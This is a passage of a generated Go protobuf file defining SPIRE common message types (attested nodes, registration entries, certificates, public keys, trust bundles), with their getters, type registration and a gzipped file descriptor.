`protobuf:\"bytes,2,opt,name=attestation_data_type,json=attestationDataType,proto3\" json:\"attestation_data_type,omitempty\"`\n\t// Node certificate serial number\n\tCertSerialNumber string `protobuf:\"bytes,3,opt,name=cert_serial_number,json=certSerialNumber,proto3\" json:\"cert_serial_number,omitempty\"`\n\t// Node certificate not_after (seconds since unix epoch)\n\tCertNotAfter int64 `protobuf:\"varint,4,opt,name=cert_not_after,json=certNotAfter,proto3\" json:\"cert_not_after,omitempty\"`\n\t// Node certificate serial number\n\tNewCertSerialNumber string `protobuf:\"bytes,5,opt,name=new_cert_serial_number,json=newCertSerialNumber,proto3\" json:\"new_cert_serial_number,omitempty\"`\n\t// Node certificate not_after (seconds since unix epoch)\n\tNewCertNotAfter int64 `protobuf:\"varint,6,opt,name=new_cert_not_after,json=newCertNotAfter,proto3\" json:\"new_cert_not_after,omitempty\"`\n\t// Node selectors\n\tSelectors []*Selector `protobuf:\"bytes,7,rep,name=selectors,proto3\" json:\"selectors,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *AttestedNode) Reset() { *m = AttestedNode{} }\nfunc (m *AttestedNode) String() string { return proto.CompactTextString(m) }\nfunc (*AttestedNode) ProtoMessage() {}\nfunc (*AttestedNode) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{4}\n}\n\nfunc (m *AttestedNode) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_AttestedNode.Unmarshal(m, b)\n}\nfunc (m *AttestedNode) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_AttestedNode.Marshal(b, m, deterministic)\n}\nfunc (m *AttestedNode) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_AttestedNode.Merge(m, src)\n}\nfunc (m *AttestedNode) XXX_Size() int {\n\treturn xxx_messageInfo_AttestedNode.Size(m)\n}\nfunc (m *AttestedNode) XXX_DiscardUnknown() {\n\txxx_messageInfo_AttestedNode.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_AttestedNode proto.InternalMessageInfo\n\nfunc (m *AttestedNode) GetSpiffeId() string {\n\tif m != nil {\n\t\treturn m.SpiffeId\n\t}\n\treturn \"\"\n}\n\nfunc (m *AttestedNode) GetAttestationDataType() string {\n\tif m != nil {\n\t\treturn m.AttestationDataType\n\t}\n\treturn \"\"\n}\n\nfunc (m *AttestedNode) GetCertSerialNumber() string {\n\tif m != nil {\n\t\treturn m.CertSerialNumber\n\t}\n\treturn \"\"\n}\n\nfunc (m *AttestedNode) GetCertNotAfter() int64 {\n\tif m != nil {\n\t\treturn m.CertNotAfter\n\t}\n\treturn 0\n}\n\nfunc (m *AttestedNode) GetNewCertSerialNumber() string {\n\tif m != nil {\n\t\treturn m.NewCertSerialNumber\n\t}\n\treturn \"\"\n}\n\nfunc (m *AttestedNode) GetNewCertNotAfter() int64 {\n\tif m != nil {\n\t\treturn m.NewCertNotAfter\n\t}\n\treturn 0\n}\n\nfunc (m *AttestedNode) GetSelectors() []*Selector {\n\tif m != nil {\n\t\treturn m.Selectors\n\t}\n\treturn nil\n}\n\n//* This is a curated record that the Server uses to set up and\n//manage the various registered nodes and workloads that are controlled by it.\ntype RegistrationEntry struct {\n\t//* A list of selectors.\n\tSelectors []*Selector `protobuf:\"bytes,1,rep,name=selectors,proto3\" json:\"selectors,omitempty\"`\n\t//* The SPIFFE ID of an entity that is authorized to attest the validity\n\t//of a selector\n\tParentId string `protobuf:\"bytes,2,opt,name=parent_id,json=parentId,proto3\" json:\"parent_id,omitempty\"`\n\t//* The SPIFFE ID is a structured string used to identify a resource or\n\t//caller. It is defined as a URI comprising a “trust domain” and an\n\t//associated path.\n\tSpiffeId string `protobuf:\"bytes,3,opt,name=spiffe_id,json=spiffeId,proto3\" json:\"spiffe_id,omitempty\"`\n\t//* Time to live.\n\tTtl int32 `protobuf:\"varint,4,opt,name=ttl,proto3\" json:\"ttl,omitempty\"`\n\t//* A list of federated trust domain SPIFFE IDs.\n\tFederatesWith []string `protobuf:\"bytes,5,rep,name=federates_with,json=federatesWith,proto3\" json:\"federates_with,omitempty\"`\n\t//* Entry ID\n\tEntryId string `protobuf:\"bytes,6,opt,name=entry_id,json=entryId,proto3\" json:\"entry_id,omitempty\"`\n\t//* Whether or not the workload is an admin workload. Admin workloads\n\t//can use their SVID's to authenticate with the Registration API, for\n\t//example.\n\tAdmin bool `protobuf:\"varint,7,opt,name=admin,proto3\" json:\"admin,omitempty\"`\n\t//* To enable signing CA CSR in upstream spire server\n\tDownstream bool `protobuf:\"varint,8,opt,name=downstream,proto3\" json:\"downstream,omitempty\"`\n\t//* Expiration of this entry, in seconds from epoch\n\tEntryExpiry int64 `protobuf:\"varint,9,opt,name=entryExpiry,proto3\" json:\"entryExpiry,omitempty\"`\n\t//* DNS entries\n\tDnsNames []string `protobuf:\"bytes,10,rep,name=dns_names,json=dnsNames,proto3\" json:\"dns_names,omitempty\"`\n\t//* Revision number is bumped every time the entry is updated\n\tRevisionNumber int64 `protobuf:\"varint,11,opt,name=revision_number,json=revisionNumber,proto3\" json:\"revision_number,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *RegistrationEntry) Reset() { *m = RegistrationEntry{} }\nfunc (m *RegistrationEntry) String() string { return proto.CompactTextString(m) }\nfunc (*RegistrationEntry) ProtoMessage() {}\nfunc (*RegistrationEntry) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{5}\n}\n\nfunc (m *RegistrationEntry) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_RegistrationEntry.Unmarshal(m, b)\n}\nfunc (m *RegistrationEntry) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_RegistrationEntry.Marshal(b, m, deterministic)\n}\nfunc (m *RegistrationEntry) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_RegistrationEntry.Merge(m, src)\n}\nfunc (m *RegistrationEntry) XXX_Size() int {\n\treturn xxx_messageInfo_RegistrationEntry.Size(m)\n}\nfunc (m *RegistrationEntry) XXX_DiscardUnknown() {\n\txxx_messageInfo_RegistrationEntry.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_RegistrationEntry proto.InternalMessageInfo\n\nfunc (m *RegistrationEntry) GetSelectors() []*Selector {\n\tif m != nil {\n\t\treturn m.Selectors\n\t}\n\treturn nil\n}\n\nfunc (m *RegistrationEntry) GetParentId() string {\n\tif m != nil {\n\t\treturn m.ParentId\n\t}\n\treturn \"\"\n}\n\nfunc (m *RegistrationEntry) GetSpiffeId() string {\n\tif m != nil {\n\t\treturn m.SpiffeId\n\t}\n\treturn \"\"\n}\n\nfunc (m *RegistrationEntry) GetTtl() int32 {\n\tif m != nil {\n\t\treturn m.Ttl\n\t}\n\treturn 0\n}\n\nfunc (m *RegistrationEntry) GetFederatesWith() []string {\n\tif m != nil {\n\t\treturn m.FederatesWith\n\t}\n\treturn nil\n}\n\nfunc (m *RegistrationEntry) GetEntryId() string {\n\tif m != nil {\n\t\treturn m.EntryId\n\t}\n\treturn \"\"\n}\n\nfunc (m *RegistrationEntry) GetAdmin() bool {\n\tif m != nil {\n\t\treturn m.Admin\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntry) GetDownstream() bool {\n\tif m != nil {\n\t\treturn m.Downstream\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntry) GetEntryExpiry() int64 {\n\tif m != nil {\n\t\treturn m.EntryExpiry\n\t}\n\treturn 0\n}\n\nfunc (m *RegistrationEntry) GetDnsNames() []string {\n\tif m != nil {\n\t\treturn m.DnsNames\n\t}\n\treturn nil\n}\n\nfunc (m *RegistrationEntry) GetRevisionNumber() int64 {\n\tif m != nil {\n\t\treturn m.RevisionNumber\n\t}\n\treturn 0\n}\n\n//* The RegistrationEntryMask is used to update only selected fields of the RegistrationEntry\ntype RegistrationEntryMask struct {\n\tSelectors bool `protobuf:\"varint,1,opt,name=selectors,proto3\" json:\"selectors,omitempty\"`\n\tParentId bool `protobuf:\"varint,2,opt,name=parent_id,json=parentId,proto3\" json:\"parent_id,omitempty\"`\n\tSpiffeId bool `protobuf:\"varint,3,opt,name=spiffe_id,json=spiffeId,proto3\" json:\"spiffe_id,omitempty\"`\n\tTtl bool `protobuf:\"varint,4,opt,name=ttl,proto3\" json:\"ttl,omitempty\"`\n\tFederatesWith bool `protobuf:\"varint,5,opt,name=federates_with,json=federatesWith,proto3\" json:\"federates_with,omitempty\"`\n\tEntryId bool `protobuf:\"varint,6,opt,name=entry_id,json=entryId,proto3\" json:\"entry_id,omitempty\"`\n\tAdmin bool `protobuf:\"varint,7,opt,name=admin,proto3\" json:\"admin,omitempty\"`\n\tDownstream bool `protobuf:\"varint,8,opt,name=downstream,proto3\" json:\"downstream,omitempty\"`\n\tEntryExpiry bool `protobuf:\"varint,9,opt,name=entryExpiry,proto3\" json:\"entryExpiry,omitempty\"`\n\tDnsNames bool `protobuf:\"varint,10,opt,name=dns_names,json=dnsNames,proto3\" json:\"dns_names,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *RegistrationEntryMask) Reset() { *m = RegistrationEntryMask{} }\nfunc (m *RegistrationEntryMask) String() string { return proto.CompactTextString(m) }\nfunc (*RegistrationEntryMask) ProtoMessage() {}\nfunc (*RegistrationEntryMask) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{6}\n}\n\nfunc (m *RegistrationEntryMask) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_RegistrationEntryMask.Unmarshal(m, b)\n}\nfunc (m *RegistrationEntryMask) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_RegistrationEntryMask.Marshal(b, m, deterministic)\n}\nfunc (m *RegistrationEntryMask) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_RegistrationEntryMask.Merge(m, src)\n}\nfunc (m *RegistrationEntryMask) XXX_Size() int {\n\treturn xxx_messageInfo_RegistrationEntryMask.Size(m)\n}\nfunc (m *RegistrationEntryMask) XXX_DiscardUnknown() {\n\txxx_messageInfo_RegistrationEntryMask.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_RegistrationEntryMask proto.InternalMessageInfo\n\nfunc (m *RegistrationEntryMask) GetSelectors() bool {\n\tif m != nil {\n\t\treturn m.Selectors\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetParentId() bool {\n\tif m != nil {\n\t\treturn m.ParentId\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetSpiffeId() bool {\n\tif m != nil {\n\t\treturn m.SpiffeId\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetTtl() bool {\n\tif m != nil {\n\t\treturn m.Ttl\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetFederatesWith() bool {\n\tif m != nil {\n\t\treturn m.FederatesWith\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetEntryId() bool {\n\tif m != nil {\n\t\treturn m.EntryId\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetAdmin() bool {\n\tif m != nil {\n\t\treturn m.Admin\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetDownstream() bool {\n\tif m != nil {\n\t\treturn m.Downstream\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetEntryExpiry() bool {\n\tif m != nil {\n\t\treturn m.EntryExpiry\n\t}\n\treturn false\n}\n\nfunc (m *RegistrationEntryMask) GetDnsNames() bool {\n\tif m != nil {\n\t\treturn m.DnsNames\n\t}\n\treturn false\n}\n\n//* A list of registration entries.\ntype RegistrationEntries struct {\n\t//* A list of RegistrationEntry.\n\tEntries []*RegistrationEntry `protobuf:\"bytes,1,rep,name=entries,proto3\" json:\"entries,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *RegistrationEntries) Reset() { *m = RegistrationEntries{} }\nfunc (m *RegistrationEntries) String() string { return proto.CompactTextString(m) }\nfunc (*RegistrationEntries) ProtoMessage() {}\nfunc (*RegistrationEntries) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{7}\n}\n\nfunc (m *RegistrationEntries) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_RegistrationEntries.Unmarshal(m, b)\n}\nfunc (m *RegistrationEntries) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_RegistrationEntries.Marshal(b, m, deterministic)\n}\nfunc (m *RegistrationEntries) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_RegistrationEntries.Merge(m, src)\n}\nfunc (m *RegistrationEntries) XXX_Size() int {\n\treturn xxx_messageInfo_RegistrationEntries.Size(m)\n}\nfunc (m *RegistrationEntries) XXX_DiscardUnknown() {\n\txxx_messageInfo_RegistrationEntries.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_RegistrationEntries proto.InternalMessageInfo\n\nfunc (m *RegistrationEntries) GetEntries() []*RegistrationEntry {\n\tif m != nil {\n\t\treturn m.Entries\n\t}\n\treturn nil\n}\n\n//* Certificate represents a ASN.1/DER encoded X509 certificate\ntype Certificate struct {\n\tDerBytes []byte `protobuf:\"bytes,1,opt,name=der_bytes,json=derBytes,proto3\" json:\"der_bytes,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Certificate) Reset() { *m = Certificate{} }\nfunc (m *Certificate) String() string { return proto.CompactTextString(m) }\nfunc (*Certificate) ProtoMessage() {}\nfunc (*Certificate) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{8}\n}\n\nfunc (m *Certificate) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Certificate.Unmarshal(m, b)\n}\nfunc (m *Certificate) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Certificate.Marshal(b, m, deterministic)\n}\nfunc (m *Certificate) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Certificate.Merge(m, src)\n}\nfunc (m *Certificate) XXX_Size() int {\n\treturn xxx_messageInfo_Certificate.Size(m)\n}\nfunc (m *Certificate) XXX_DiscardUnknown() {\n\txxx_messageInfo_Certificate.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Certificate proto.InternalMessageInfo\n\nfunc (m *Certificate) GetDerBytes() []byte {\n\tif m != nil {\n\t\treturn m.DerBytes\n\t}\n\treturn nil\n}\n\n//* PublicKey represents a PKIX encoded public key\ntype PublicKey struct {\n\t//* PKIX encoded key data\n\tPkixBytes []byte `protobuf:\"bytes,1,opt,name=pkix_bytes,json=pkixBytes,proto3\" json:\"pkix_bytes,omitempty\"`\n\t//* key identifier\n\tKid string `protobuf:\"bytes,2,opt,name=kid,proto3\" json:\"kid,omitempty\"`\n\t//* not after (seconds since unix epoch, 0 means \"never expires\")\n\tNotAfter int64 `protobuf:\"varint,3,opt,name=not_after,json=notAfter,proto3\" json:\"not_after,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *PublicKey) Reset() { *m = PublicKey{} }\nfunc (m *PublicKey) String() string { return proto.CompactTextString(m) }\nfunc (*PublicKey) ProtoMessage() {}\nfunc (*PublicKey) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{9}\n}\n\nfunc (m *PublicKey) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_PublicKey.Unmarshal(m, b)\n}\nfunc (m *PublicKey) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_PublicKey.Marshal(b, m, deterministic)\n}\nfunc (m *PublicKey) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_PublicKey.Merge(m, src)\n}\nfunc (m *PublicKey) XXX_Size() int {\n\treturn xxx_messageInfo_PublicKey.Size(m)\n}\nfunc (m *PublicKey) XXX_DiscardUnknown() {\n\txxx_messageInfo_PublicKey.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_PublicKey proto.InternalMessageInfo\n\nfunc (m *PublicKey) GetPkixBytes() []byte {\n\tif m != nil {\n\t\treturn m.PkixBytes\n\t}\n\treturn nil\n}\n\nfunc (m *PublicKey) GetKid() string {\n\tif m != nil {\n\t\treturn m.Kid\n\t}\n\treturn \"\"\n}\n\nfunc (m *PublicKey) GetNotAfter() int64 {\n\tif m != nil {\n\t\treturn m.NotAfter\n\t}\n\treturn 0\n}\n\ntype Bundle struct {\n\t//* the SPIFFE ID of the trust domain the bundle belongs to\n\tTrustDomainId string `protobuf:\"bytes,1,opt,name=trust_domain_id,json=trustDomainId,proto3\" json:\"trust_domain_id,omitempty\"`\n\t//* list of root CA certificates\n\tRootCas []*Certificate `protobuf:\"bytes,2,rep,name=root_cas,json=rootCas,proto3\" json:\"root_cas,omitempty\"`\n\t//* list of JWT signing keys\n\tJwtSigningKeys []*PublicKey `protobuf:\"bytes,3,rep,name=jwt_signing_keys,json=jwtSigningKeys,proto3\" json:\"jwt_signing_keys,omitempty\"`\n\t//* refresh hint is a hint, in seconds, on how often a bundle consumer\n\t// should poll for bundle updates\n\tRefreshHint int64 `protobuf:\"varint,4,opt,name=refresh_hint,json=refreshHint,proto3\" json:\"refresh_hint,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Bundle) Reset() { *m = Bundle{} }\nfunc (m *Bundle) String() string { return proto.CompactTextString(m) }\nfunc (*Bundle) ProtoMessage() {}\nfunc (*Bundle) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{10}\n}\n\nfunc (m *Bundle) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Bundle.Unmarshal(m, b)\n}\nfunc (m *Bundle) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Bundle.Marshal(b, m, deterministic)\n}\nfunc (m *Bundle) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Bundle.Merge(m, src)\n}\nfunc (m *Bundle) XXX_Size() int {\n\treturn xxx_messageInfo_Bundle.Size(m)\n}\nfunc (m *Bundle) XXX_DiscardUnknown() {\n\txxx_messageInfo_Bundle.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Bundle proto.InternalMessageInfo\n\nfunc (m *Bundle) GetTrustDomainId() string {\n\tif m != nil {\n\t\treturn m.TrustDomainId\n\t}\n\treturn \"\"\n}\n\nfunc (m *Bundle) GetRootCas() []*Certificate {\n\tif m != nil {\n\t\treturn m.RootCas\n\t}\n\treturn nil\n}\n\nfunc (m *Bundle) GetJwtSigningKeys() []*PublicKey {\n\tif m != nil {\n\t\treturn m.JwtSigningKeys\n\t}\n\treturn nil\n}\n\nfunc (m *Bundle) GetRefreshHint() int64 {\n\tif m != nil {\n\t\treturn m.RefreshHint\n\t}\n\treturn 0\n}\n\ntype BundleMask struct {\n\tRootCas bool `protobuf:\"varint,1,opt,name=root_cas,json=rootCas,proto3\" json:\"root_cas,omitempty\"`\n\tJwtSigningKeys bool `protobuf:\"varint,2,opt,name=jwt_signing_keys,json=jwtSigningKeys,proto3\" json:\"jwt_signing_keys,omitempty\"`\n\tRefreshHint bool `protobuf:\"varint,3,opt,name=refresh_hint,json=refreshHint,proto3\" json:\"refresh_hint,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *BundleMask) Reset() { *m = BundleMask{} }\nfunc (m *BundleMask) String() string { return proto.CompactTextString(m) }\nfunc (*BundleMask) ProtoMessage() {}\nfunc (*BundleMask) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{11}\n}\n\nfunc (m *BundleMask) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_BundleMask.Unmarshal(m, b)\n}\nfunc (m *BundleMask) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_BundleMask.Marshal(b, m, deterministic)\n}\nfunc (m *BundleMask) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_BundleMask.Merge(m, src)\n}\nfunc (m *BundleMask) XXX_Size() int {\n\treturn xxx_messageInfo_BundleMask.Size(m)\n}\nfunc (m *BundleMask) XXX_DiscardUnknown() {\n\txxx_messageInfo_BundleMask.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_BundleMask proto.InternalMessageInfo\n\nfunc (m *BundleMask) GetRootCas() bool {\n\tif m != nil {\n\t\treturn m.RootCas\n\t}\n\treturn false\n}\n\nfunc (m *BundleMask) GetJwtSigningKeys() bool {\n\tif m != nil {\n\t\treturn m.JwtSigningKeys\n\t}\n\treturn false\n}\n\nfunc (m *BundleMask) GetRefreshHint() bool {\n\tif m != nil {\n\t\treturn m.RefreshHint\n\t}\n\treturn false\n}\n\ntype AttestedNodeMask struct {\n\tAttestationDataType bool `protobuf:\"varint,1,opt,name=attestation_data_type,json=attestationDataType,proto3\" json:\"attestation_data_type,omitempty\"`\n\tCertSerialNumber bool `protobuf:\"varint,2,opt,name=cert_serial_number,json=certSerialNumber,proto3\" json:\"cert_serial_number,omitempty\"`\n\tCertNotAfter bool `protobuf:\"varint,3,opt,name=cert_not_after,json=certNotAfter,proto3\" json:\"cert_not_after,omitempty\"`\n\tNewCertSerialNumber bool `protobuf:\"varint,4,opt,name=new_cert_serial_number,json=newCertSerialNumber,proto3\" json:\"new_cert_serial_number,omitempty\"`\n\tNewCertNotAfter bool `protobuf:\"varint,5,opt,name=new_cert_not_after,json=newCertNotAfter,proto3\" json:\"new_cert_not_after,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *AttestedNodeMask) Reset() { *m = AttestedNodeMask{} }\nfunc (m *AttestedNodeMask) String() string { return proto.CompactTextString(m) }\nfunc (*AttestedNodeMask) ProtoMessage() {}\nfunc (*AttestedNodeMask) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{12}\n}\n\nfunc (m *AttestedNodeMask) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_AttestedNodeMask.Unmarshal(m, b)\n}\nfunc (m *AttestedNodeMask) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_AttestedNodeMask.Marshal(b, m, deterministic)\n}\nfunc (m *AttestedNodeMask) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_AttestedNodeMask.Merge(m, src)\n}\nfunc (m *AttestedNodeMask) XXX_Size() int {\n\treturn xxx_messageInfo_AttestedNodeMask.Size(m)\n}\nfunc (m *AttestedNodeMask) XXX_DiscardUnknown() {\n\txxx_messageInfo_AttestedNodeMask.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_AttestedNodeMask proto.InternalMessageInfo\n\nfunc (m *AttestedNodeMask) GetAttestationDataType() bool {\n\tif m != nil {\n\t\treturn m.AttestationDataType\n\t}\n\treturn false\n}\n\nfunc (m *AttestedNodeMask) GetCertSerialNumber() bool {\n\tif m != nil {\n\t\treturn m.CertSerialNumber\n\t}\n\treturn false\n}\n\nfunc (m *AttestedNodeMask) GetCertNotAfter() bool {\n\tif m != nil {\n\t\treturn m.CertNotAfter\n\t}\n\treturn false\n}\n\nfunc (m *AttestedNodeMask) GetNewCertSerialNumber() bool {\n\tif m != nil {\n\t\treturn m.NewCertSerialNumber\n\t}\n\treturn false\n}\n\nfunc (m *AttestedNodeMask) GetNewCertNotAfter() bool {\n\tif m != nil {\n\t\treturn m.NewCertNotAfter\n\t}\n\treturn false\n}\n\nfunc init() {\n\tproto.RegisterType((*Empty)(nil), \"spire.common.Empty\")\n\tproto.RegisterType((*AttestationData)(nil), \"spire.common.AttestationData\")\n\tproto.RegisterType((*Selector)(nil), \"spire.common.Selector\")\n\tproto.RegisterType((*Selectors)(nil), \"spire.common.Selectors\")\n\tproto.RegisterType((*AttestedNode)(nil), \"spire.common.AttestedNode\")\n\tproto.RegisterType((*RegistrationEntry)(nil), \"spire.common.RegistrationEntry\")\n\tproto.RegisterType((*RegistrationEntryMask)(nil), \"spire.common.RegistrationEntryMask\")\n\tproto.RegisterType((*RegistrationEntries)(nil), \"spire.common.RegistrationEntries\")\n\tproto.RegisterType((*Certificate)(nil), \"spire.common.Certificate\")\n\tproto.RegisterType((*PublicKey)(nil), \"spire.common.PublicKey\")\n\tproto.RegisterType((*Bundle)(nil), \"spire.common.Bundle\")\n\tproto.RegisterType((*BundleMask)(nil), \"spire.common.BundleMask\")\n\tproto.RegisterType((*AttestedNodeMask)(nil), \"spire.common.AttestedNodeMask\")\n}\n\nfunc init() {\n\tproto.RegisterFile(\"spire/common/common.proto\", fileDescriptor_c11412a53cc81147)\n}\n\nvar fileDescriptor_c11412a53cc81147 = []byte{\n\t// 842 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xb4, 0x56, 0xcd, 0x6e, 0x1b, 0x37,\n\t0x10, 0xc6, 0x4a, 0x91, 0xb5, 0x3b, 0x52, 0x6c, 0x97, 0x69, 0xd2, 0x35, 0xfa, 0xa7, 0x2e, 0xfa,\n\t0x23, 0xa4, 0x81, 0x5d, 0x24, 0xbe, 0xe4, 0xd0, 0x83, 0x9d, 0x18, 0xa8, 0x11, 0xd4, 0x08, 0xd6,\n\t0x05, 0x8a, 0xf6, 0xb2, 0xa0, 0xc4, 0x91, 0xc5, 0x58, 0xcb, 0x5d, 0x90, 0xa3, 0x28, 0xfb, 0x66,\n\t0x7d, 0x87, 0xf6, 0x75, 0x7a, 0xeb, 0xa1, 0x20, 0xa9, 0xbf, 0x55, 0x1c, 0xc5, 0x39, 0xe4, 0xb4,\n\t0xe4, 0xc7, 0x99, 0xe1, 0x37, 0xdf, 0x0c, 0xc9, 0x85, 0x03, 0x53, 0x4a, 0x8d, 0x47, 0xc3, 0x22,\n\t0xcf, 0x0b, 0x35, 0xff, 0x1c, 0x96, 0xba, 0xa0, 0x82, 0x75, 0xdd, 0xd2, 0xa1, 0xc7, 0x92, 0x36,\n\t0xb4, 0xce, 0xf2, 0x92, 0xaa, 0xe4, 0x29, 0xec, 0x9d, 0x10, 0xa1, 0x21, 0x4e, 0xb2, 0x50, 0xcf,\n\t0x39, 0x71, 0xc6, 0xe0, 0x0e, 0x55, 0x25, 0xc6, 0x41, 0x2f, 0xe8, 0x47, 0xa9, 0x1b, 0x5b, 0x4c,\n\t0x70, 0xe2, 0x71, 0xa3, 0x17, 0xf4, 0xbb, 0xa9, 0x1b, 0x27, 0xc7, 0x10, 0x5e, 0xe2, 0x04, 0x87,\n\t0x54, 0xe8, 0x1b, 0x7d, 0x3e, 0x85, 0xd6, 0x6b, 0x3e, 0x99, 0xa2, 0x73, 0x8a, 0x52, 0x3f, 0x49,\n\t0x7e, 0x86, 0x68, 0xe1, 0x65, 0xd8, 0x4f, 0xd0, 0x46, 0x45, 0x5a, 0xa2, 0x89, 0x83, 0x5e, 0xb3,\n\t0xdf, 0x79, 0xfc, 0xe0, 0x70, 0x9d, 0xe6, 0xe1, 0xc2, 0x32, 0x5d, 0x98, 0x25, 0x7f, 0x37, 0xa0,\n\t0xeb, 0x09, 0xa3, 0xb8, 0x28, 0x04, 0xb2, 0xcf, 0x21, 0x32, 0xa5, 0x1c, 0x8d, 0x30, 0x93, 0x62,\n\t0xbe, 0x7d, 0xe8, 0x81, 0x73, 0xc1, 0x1e, 0xc3, 0x7d, 0xbe, 0xca, 0x2e, 0xb3, 0xb4, 0x33, 0xc7,\n\t0xd3, 0x53, 0xba, 0xc7, 0xeb, 0xa9, 0xff, 0x66, 0x69, 0x3f, 0x02, 0x36, 0x44, 0x4d, 0x99, 0x41,\n\t0x2d, 0xf9, 0x24, 0x53, 0xd3, 0x7c, 0x80, 0x3a, 0x6e, 0x3a, 0x87, 0x7d, 0xbb, 0x72, 0xe9, 0x16,\n\t0x2e, 0x1c, 0xce, 0xbe, 0x85, 0x5d, 0x67, 0xad, 0x0a, 0xca, 0xf8, 0x88, 0x50, 0xc7, 0x77, 0x7a,\n\t0x41, 0xbf, 0x99, 0x76, 0x2d, 0x7a, 0x51, 0xd0, 0x89, 0xc5, 0xd8, 0x13, 0x78, 0xa0, 0x70, 0x96,\n\t0xdd, 0x10, 0xb7, 0xe5, 0x89, 0x28, 0x9c, 0x3d, 0xdb, 0x0c, 0xfd, 0x23, 0xb0, 0xa5, 0xd3, 0x2a,\n\t0xfc, 0x8e, 0x0b, 0xbf, 0x37, 